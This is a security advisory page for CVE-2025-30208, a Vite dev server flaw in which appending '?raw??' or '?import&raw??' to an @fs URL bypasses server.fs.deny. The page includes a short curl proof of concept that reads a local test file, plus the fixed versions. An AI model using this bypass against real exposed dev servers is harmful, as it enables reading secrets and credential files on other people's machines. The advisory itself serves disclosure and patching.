CVE-2025-30208: Vite bypasses server.fs.deny when using `?raw??`

Published Mar 24, 2025
·
Updated

### Summary The contents of arbitrary files can be returned to the browser. ### Impact Only apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. ### PoC ```bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```

Affected Software

12 affected componentsFixes available
Vite Vite<6.2.3
Vite Vite
npm/vite<4.5.10
4.5.10
npm/vite>=5.0.0<5.4.15
5.4.15
npm/vite>=6.0.0<6.0.12
6.0.12
npm/vite>=6.1.0<6.1.2
6.1.2
npm/vite>=6.2.0<6.2.3
6.2.3
vitejs Vite Node.js<4.5.10
vitejs Vite Node.js>=5.0.0<5.4.15
vitejs Vite Node.js>=6.0.0<6.0.12
vitejs Vite Node.js>=6.1.0<6.1.2
vitejs Vite Node.js>=6.2.0<6.2.3

Event History

Mar 24, 2025
CVE Published
via MITRE·05:03 PM
Data Sourced
via MITRE·05:03 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 PM
RemedyAffected Software
Mar 25, 2025
Advisory Published
via GitHub·02:00 PM
Apr 3, 2025
Exploit Published
12:00 AM
Known Exploited
09:49 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-30208?

CVE-2025-30208 is considered a high severity vulnerability due to the potential for unauthorized file access.

2

How do I fix CVE-2025-30208?

To fix CVE-2025-30208, update Vite to versions 6.2.3 or later, 6.1.2 or later, 6.0.12 or later, 5.4.15 or later, or 4.5.10 or later.

3

What versions of Vite are affected by CVE-2025-30208?

Versions of Vite prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 are affected by CVE-2025-30208.

4

What type of vulnerability is CVE-2025-30208?

CVE-2025-30208 is a vulnerability that involves improper access control, allowing bypass of file access restrictions.

5

What can an attacker do with CVE-2025-30208?

An attacker can exploit CVE-2025-30208 to access files outside of the allowed list by manipulating URLs.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203